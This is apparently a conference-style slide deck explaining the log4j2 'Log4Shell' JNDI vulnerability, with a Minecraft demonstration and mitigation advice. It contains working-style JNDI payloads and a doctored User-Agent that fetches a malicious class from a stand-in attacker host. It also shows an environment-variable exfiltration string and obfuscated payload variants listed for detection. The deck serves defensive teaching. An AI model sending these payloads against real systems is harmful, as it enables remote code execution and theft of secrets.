How I Hacked Minecraft

How log4j2 can be more destructive than a well-placed creeper
Let’s talk about Log4j2

- Open-source java logging library provided by the Apache Software Foundation
  - Like most open-source software, maintained by volunteers, but used everywhere
    - See also: https://xkcd.com/2347/
So, what’s the problem, then?

• Lookups
  • A way for programmers to add values to the Log4j configuration in different places as needed
  • Environment variables, program variables, date format strings, etc.
  • Documentation: https://logging.apache.org/log4j/2.x/manual/lookups.html
For the audience at home:

- Want a safe way to check and see if your application is vulnerable?
- In your java application try: ${date:YYYY-MM-dd} in a user-controlled field
  - HTTP URI, HTTP headers (User-Agent, X-Forwarded-For, etc.), Input boxes, etc.
  - Check the logs, Did you get: 2021-12-14 (or [current date])?
    - Then I have some news for you.

```java
<trobinson> ${date:YYYY-MM-dd}
```

```
[17:03:27] [Server thread/INFO]: <trobinson> 2021-12-14
```
Letting the JNDI out of the Bottle

• JNDI lookups
  • Java Naming and Directory Lookups
    • A way for programs to look up data over LDAP, DNS, and other protocols
    • Documentation: https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
  • This is the functionality actively being exploited in log4j2
    • Introduced in 2013
      • https://logging.apache.org/log4j/2.x/changes-report.html#a2.0-beta9
Vulnerability details

• Attacker enters a string to trigger a JNDI lookup using either the DNS or LDAP protocols
  • DNS:
    • ${jndi:dns://example.com}
  • LDAP:
    • ${jndi:ldap://example.com}
• Not the only attack surface
  • Other JNDI protocols as well
    • Javax
    • Rmi
    • Etc.
Potential Impact

• Remote Code Execution
  • LDAPResourceRef
    • “The resource you want is over here. In this java .class file I’m conveniently willing to give you.”
  • Deserialization “Gadgets”
    • Libraries in your java application that allow arbitrary code to be executed
    • Example: Apache Tomcat and/or Springboot and BeanFactory
      • https://www.veracode.com/blog/research/exploiting-jndi-injections-java
      • https://github.com/drahosi/log4shell_poc
Potential Impact

1) Malicious user makes web request to java application with a doctored user-agent designed to trigger a JNDI lookup

2) Web server running java accepts connection

3) Java application logs user-agent string using vulnerable Log4j2 implementation honors the lookup string resolves the domain, performs an LDAP lookup to seemsleg.it/notmalware

4) seemsleg.it accepts the LDAP query, responds back to the java application "The resource you're looking for is at: http://seemsleg.it:8888/notmalware"

5) trustURLCodebase is set to true. The application sends an HTTP request to http://seemsleg.it:8888/notmalware

6) accepts the HTTP request, serves the malicious class file

GET /HTTP 1.1
Host: example.com
User-agent: $jndi:ldap://seemsleg.it:1389/notmalware

LDAP Request: seemsleg.it:1389

LDAP response: "Hey the thing you want is at: http://seemsleg.it:8888/notmalware"

HTTP Request: http://seemsleg.it:8888/notmalware

HTTP Response: "Here's the class file you wanted. Trust me. Its totally legit."
Potential Impact

- Environment Variable exfiltration
  - `${jndi:ldap://{env:[environment variable name]}.example.com}`
    - Attackers acquire a domain
    - Sets up an authoritative DNS server
    - Logs DNS queries
    - Acquires environment variables that may contain sensitive information
  - https://twitter.com/Laughing_Mantis/status/1469794428239839234
Potential Impact

1) Malicious user makes web request to Java application with a doctored user-agent designed to trigger a JNDI lookup.

2) Web server running Java accepts connection.

3) Java application logs user-agent string using vulnerable Log4j implementation honors the lookup string, and attempts to resolve the domain via DNS.

4) The authoritative DNS server for seemsleg.it, under attacker control, accepts the DNS query, logs the request, returns NXDOMAIN. Variable contents are now in the attacker's DNS query logs.
Turns out, JNDI is known attack surface

- JNDI featured in a variety of “Deserialization” attacks, as well as exploitation of “gadgets” in common java libraries
- Chris Frohoff, “ysoserlal”
  - [https://github.com/frohoff/ysoserial](https://github.com/frohoff/ysoserial)
- Moretz Bechler, “Java Unmarshaller Security”
Demonstration: Minecraft

- Version: 1.12
  - Patched in version 1.18.1
- Java JDK 8u112 (trustURLCodebase: yes)
  - Newer editions of Minecraft require newer JDKs
  - Set trustURLCodebase to no by default
- JNDIExploit
  - https://github.com/feihong-cs/JNDIExploit/
  - No longer being hosted publicly
Mitigation and Remediation

- **Patch/Update ASAP**
  - 2.15+
  - 2.16 disables **ALL** lookups by default
  - Easier said than done
    - Custom software
    - Not easily updated
    - May require vendor intervention

- Update the JDK version installed
  - Java 6u211, 7u201, 8u191, 11.0.1+
  - Disables trustURLCodebase by default, eliminates LDAPRefServer attacks
  - Will not fix environment variable exfiltration or RCE through deserialization gadgets
Mitigation and Remediation

• Disable lookups via environment variable or command line argument
  • Command line argument: `Java -jar [.jar filename] -Dlog4j2.formatMsgNoLookups=true [other arguments]`
  • Environment variable: `LOG4J_FORMAT_MSG_NO_LOOKUPS=true`

• Feeling brave? Rip the `JndiLookup`, `JndiManager`, `JMSAppender` and/or `SMTPAppender` classes out of the application using log4j2
  • Test this method heavily before attempting it in production
  • `zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/
    • JndiLookup.class
    • JndiManager.class
    • JMSAppender.class
    • SMTPAppender.class`
Mitigation and Remediation

- Defense in depth
  - Egress filtering
  - Require the use of HTTP proxies for outbound HTTP traffic
  - EDR/XDR to monitor for unusual child processes and/or dropped files to disk
  - Monitor for unusual DNS queries (sort by least frequent occurrence)
  - Monitor for jndi lookup strings in application and/or HTTP logs if possible
    - Be aware that there are several permutations of “{jndi}”, making threat hunting and blocklisting somewhat difficult:
      - ){j}{:n}{:d}{:i}:
      - ){j}ndi:
      - ){lower:jndi}:
      - ){lower:j}{upper:n}{lower:n}{upper:i}:
      - Etc.